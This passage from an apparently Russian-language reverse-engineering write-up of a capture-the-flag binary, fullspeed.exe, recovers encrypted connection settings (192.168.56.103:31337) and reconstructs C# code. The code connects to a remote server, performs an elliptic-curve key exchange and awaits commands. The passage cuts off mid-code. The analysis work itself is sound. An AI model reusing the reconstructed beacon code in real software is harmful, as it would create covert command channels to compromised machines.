decode=\"async\"\/><\/p>\n<div><figcaption>\u0424\u0443\u043d\u043a\u0446\u0438\u044f <strong>sub_140108AC0()<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u043a\u043b\u0430\u0441\u0441\u0430 <strong>myEC<\/strong> \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e sub_140108AC0(), \u0433\u0434\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u0441\u0442\u0440\u043e\u043a\u0438 <code>143f41d2c05427964848a505f9698c43e4c5905b<\/code> (\u0441\u0442\u0440\u043e\u043a\u0430 26). \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f <code>192.168.56.103;31337<\/code>. \u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0435 <code>143f41d2c05427964848a505f9698c43e4c5905b<\/code> \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 (\u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0441\u0438\u043c\u0432\u043e\u043b\u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u0432\u0430 \u0431\u0430\u0439\u0442\u0430):<\/p>\n<pre><code>31003400330066003400310064003200630030003500340032003700390036003400380034003800610035003000350066003900360039003800630034003300650034006300350039003000350062 <\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u0440\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u0430\u043c\u0438 \u043d\u0430 \u0434\u0432\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f IP-\u0430\u0434\u0440\u0435\u0441 \u0438 \u043f\u043e\u0440\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u044b \u0434\u043b\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f TCP-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u043c \u0443\u0437\u043b\u043e\u043c \u2013 <strong>TcpClient<\/strong> (\u0441\u0442\u0440\u043e\u043a\u0430 56) \u0438 <strong>NetworkStream<\/strong> (\u0441\u0442\u0440\u043e\u043a\u0430 58), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u043e\u0442\u043e\u043a \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0438 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044e.<br \/> \u041e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u0430, \u043d\u043e \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0434\u0432\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u043f\u0440\u043e\u0434\u0435\u043b\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0437\u0432\u0430\u0442\u044c <strong>KeyExchange()<\/strong> (\u0441\u0442\u0440\u043e\u043a\u0430 60) \u0438 <strong>GetCommand()<\/strong> (\u0441\u0442\u0440\u043e\u043a\u0430 61). \u0414\u0430\u043d\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u044b \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435. \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u043c \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u0430:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ri\/ja\/lq\/rijalqlobeknmeiavnycmngzy-m.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140108AC0() \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ri\/ja\/lq\/rijalqlobeknmeiavnycmngzy-m.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ri\/ja\/lq\/rijalqlobeknmeiavnycmngzy-m.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140108AC0()<\/strong> \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0421 \u0446\u0435\u043b\u044c\u044e \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e, \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u0443\u044e\u0449\u0435\u0439 \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435, \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b fullspeed.exe \u0437\u0430\u043c\u0435\u043d\u0438\u0432 <strong>IP-\u0430\u0434\u0440\u0435\u0441<\/strong> \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438 \u2013 <code>127.000.000.001<\/code>. \u041f\u043e\u0441\u043b\u0435 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u043e\u043a\u0438 <code>127.000.00.001;31337<\/code>\u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>DecodeEncryptData()<\/strong> \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 <code>143444d2c1522f964d4ea504f96b8c43e4c5905b<\/code>. \u0412 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u043e\u043c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0438 \u0441 \u043e\u0442\u0432\u0435\u0434\u0435\u043d\u0438\u0435\u043c \u0434\u0432\u0443\u0445 \u0431\u0430\u0439\u0442 \u043d\u0430 \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043c\u0430\u0441\u0441\u0438\u0432:<\/p>\n<pre><code>31003400330034003400340064003200630031003500320032006600390036003400640034006500610035003000340066003900360062003800630034003300650034006300350039003000350062 <\/code><\/pre>\n<p>\u0421\u043c\u0435\u043d\u0430 \u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u043e\u0432\u043b\u0435\u0447\u0451\u0442 \u0437\u0430 \u0441\u043e\u0431\u043e\u0439 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/op\/p4\/x3\/opp4x3vqhylfdssljsvyy1ol_us.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0420\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f IP-\u0430\u0434\u0440\u0435\u0441\u0430\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/op\/p4\/x3\/opp4x3vqhylfdssljsvyy1ol_us.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/op\/p4\/x3\/opp4x3vqhylfdssljsvyy1ol_us.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0420\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f IP-\u0430\u0434\u0440\u0435\u0441\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0434\u0435\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140108AC0():<\/p>\n<pre><code class=\"cs\">public static void Run() {     string strEncIPPort = \"143444D2C1522F964D4EA504F96B8C43E4C5905B\";     \/\/ string strIPPort = \"127.000.00.001;31337\";     string strIPPort = myEC.DecodeEncryptData(strEncIPPort);      string strEncSeparation = \"1E\";     string strSeparation = myEC.DecodeEncryptData(strEncSeparation);      string[] substrings = strIPPort.Split(strSeparation);      string strIP = substrings[0];     string strPort = substrings[1];     int intPort = int.Parse(strPort);      myEC.tcpClient = new TcpClient(strIP, intPort);     myEC.networkStream = myEC.tcpClient.GetStream();      myEC.KeyExchange();     myEC.GetCommand(); } <\/code><\/pre>\n<p>\u0412 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043c\u0435\u0442\u043e\u0434\u043e\u0432 <strong>KeyExchange()<\/strong> \u0438 <strong>GetCommand()<\/strong>.<\/p>\n<h4>\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 KeyExchange()<\/h4>\n<p>\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043e\u0442\u0440\u0430\u0436\u0430\u0435\u0442 \u0435\u0451 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2013 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u044d\u0442\u0430\u043f\u044b \u044d\u0442\u043e\u0433\u043e \u043e\u0431\u043c\u0435\u043d\u0430.<\/p>\n<h3>\u0428\u0430\u0433 1. \u0420\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043b\u044e\u0447\u0430 XOR<\/h3>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0448\u0430\u0433\u043e\u043c \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0430 \u043a\u043b\u044e\u0447\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0434\u0435\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0435\u043c\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438 (\u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u044b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{cli}}\" alt=\"x_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{cli}}\" alt=\"y_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{serv}}\" alt=\"x_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/8\/8c\/8cb\/8cb5707cb85a3ff78983e1f664b75bb4.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{serv}}\" alt=\"y_{\\text{serv}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/0\/00\/008\/00877fe052e5a25fc6bd571590640a0e.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043e \u043d\u0438\u0445 \u043f\u043e\u0433\u043e\u0432\u043e\u0440\u0438\u043c \u0434\u0430\u043b\u0435\u0435):<\/p>\n<pre><code class=\"cs\">\/\/ string strXorKey = \"133713371337133713371337133713371337133713371337133713371337133713371337133713371337133713371337\"; string strEncXorKey = \"143540CBC0512C8F4C4DB803F8698447E4C5905B90617C1F1C5D88934879D4D7B4D5E0EB60714CAFEC6DD8231809246704E5307B30019C3FBC7D28B3E81974F7D4F5008B8011EC4F0C0D78C3B8294407A485501B50213CDFDC1D485308399497\"; string strXorKey = DecodeEncryptData(strEncXorKey); BigInteger bigXorKey = new BigInteger(strXorKey, 16); <\/code><\/pre>\n<h3>\u0428\u0430\u0433 2. \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430<\/h3>\n<p>\u0421\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (<img decoding=\"async\" class=\"formula inline\" source=\"d_{\\text{cli}}\" alt=\"d_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/22e\/22e8135c1f08e2804ce28dfc5da52d7d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/22e\/22e8135c1f08e2804ce28dfc5da52d7d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/22e\/22e8135c1f08e2804ce28dfc5da52d7d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>), \u0434\u043b\u0438\u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e 128 \u0431\u0438\u0442:<\/p>\n<pre><code class=\"cs\">BigInteger bigIntClientPrivateKey = GeneratePrivateKey(128); <\/code><\/pre>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438:<\/p>\n<pre><code class=\"cs\">public static BigInteger GeneratePrivateKey(int privateKeyBitLength) {     BigInteger bigIntRandomPrivateKey;     do     {         SecureRandom secureRandom = myEC.secureRandom;         bigIntRandomPrivateKey = new BigInteger(privateKeyBitLength, secureRandom);     }     while (bigIntRandomPrivateKey.CompareTo(BigInteger.Zero) == 0);      return bigIntRandomPrivateKey; } <\/code><\/pre>\n<h3>\u0428\u0430\u0433 3. \u0412\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430<\/h3>\n<p>\u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (<img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{cli}}\" alt=\"Q_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u043c\u043d\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 (<img decoding=\"async\" class=\"formula inline\" source=\"G\" alt=\"G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/d\/df\/dfc\/dfcf28d0734569a6a693bc8194de62bf.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) \u043d\u0430 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 (<img decoding=\"async\" class=\"formula inline\" source=\"d_{\\text{cli}}\" alt=\"d_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/22e\/22e8135c1f08e2804ce28dfc5da52d7d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/22e\/22e8135c1f08e2804ce28dfc5da52d7d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/22\/22e\/22e8135c1f08e2804ce28dfc5da52d7d.svg 781w\" loading=\"lazy\" decode=\"async\"\/>) :<\/p>\n<p><img decoding=\"async\" class=\"formula\" source=\"Q_{\\text{cli}} = d_{\\text{cli}} \\cdot G\" alt=\"Q_{\\text{cli}} = d_{\\text{cli}} \\cdot G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/fe\/fea\/fea125ce2424ab203ac4d2a4b7e35244.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/fe\/fea\/fea125ce2424ab203ac4d2a4b7e35244.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/f\/fe\/fea\/fea125ce2424ab203ac4d2a4b7e35244.svg 781w\" loading=\"lazy\" decode=\"async\"\/><img decoding=\"async\" class=\"formula\" source=\"Q_{cli} = d_{cli} \\cdot G\" alt=\"Q_{cli} = d_{cli} \\cdot G\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/3\/3e\/3ed\/3ed493402ed11fe247fd9cb85540959a.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/3\/3e\/3ed\/3ed493402ed11fe247fd9cb85540959a.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/3\/3e\/3ed\/3ed493402ed11fe247fd9cb85540959a.svg 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<pre><code class=\"cs\">Org.BouncyCastle.Math.EC.ECPoint ecPointClientPublicKey = myEC.ecPointGenPoint.Multiply(bigIntClientPrivateKey); <\/code><\/pre>\n<h3>\u0428\u0430\u0433 4. \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0430 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430<\/h3>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u043c\u0435\u043d \u043d\u0435 \u0441\u0430\u043c\u0438\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c <img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{cli}}\" alt=\"Q_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u0430 \u0435\u0433\u043e \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0442\u0430\u043c\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"x_{\\text{cli}}\" alt=\"x_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/1\/12\/126\/126c97dd98519e019dce0797f9d2484d.svg 781w\" loading=\"lazy\" decode=\"async\"\/> \u0438 <img decoding=\"async\" class=\"formula inline\" source=\"y_{\\text{cli}}\" alt=\"y_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/7\/73\/737\/737401bc12c41d01bbf1c3bfacf83b11.svg 781w\" loading=\"lazy\" decode=\"async\"\/>, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u0441\u043b\u0435 \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 <img decoding=\"async\" class=\"formula inline\" source=\"Q_{\\text{cli}}\" alt=\"Q_{\\text{cli}}\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg\" width=\"auto\" height=\"auto\" sizes=\"auto, (max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 780w,&#10;       https:\/\/habrastorage.org\/getpro\/habr\/formulas\/2\/26\/261\/261cab706cb81fba984a7d9b5beedea7.svg 781w\" loading=\"lazy\" decode=\"async\"\/>:<\/p>\n<pre><code class=\"cs\">Org.BouncyCastle.Math.EC.ECPoint ecPointClientPublicKeyNormolized = 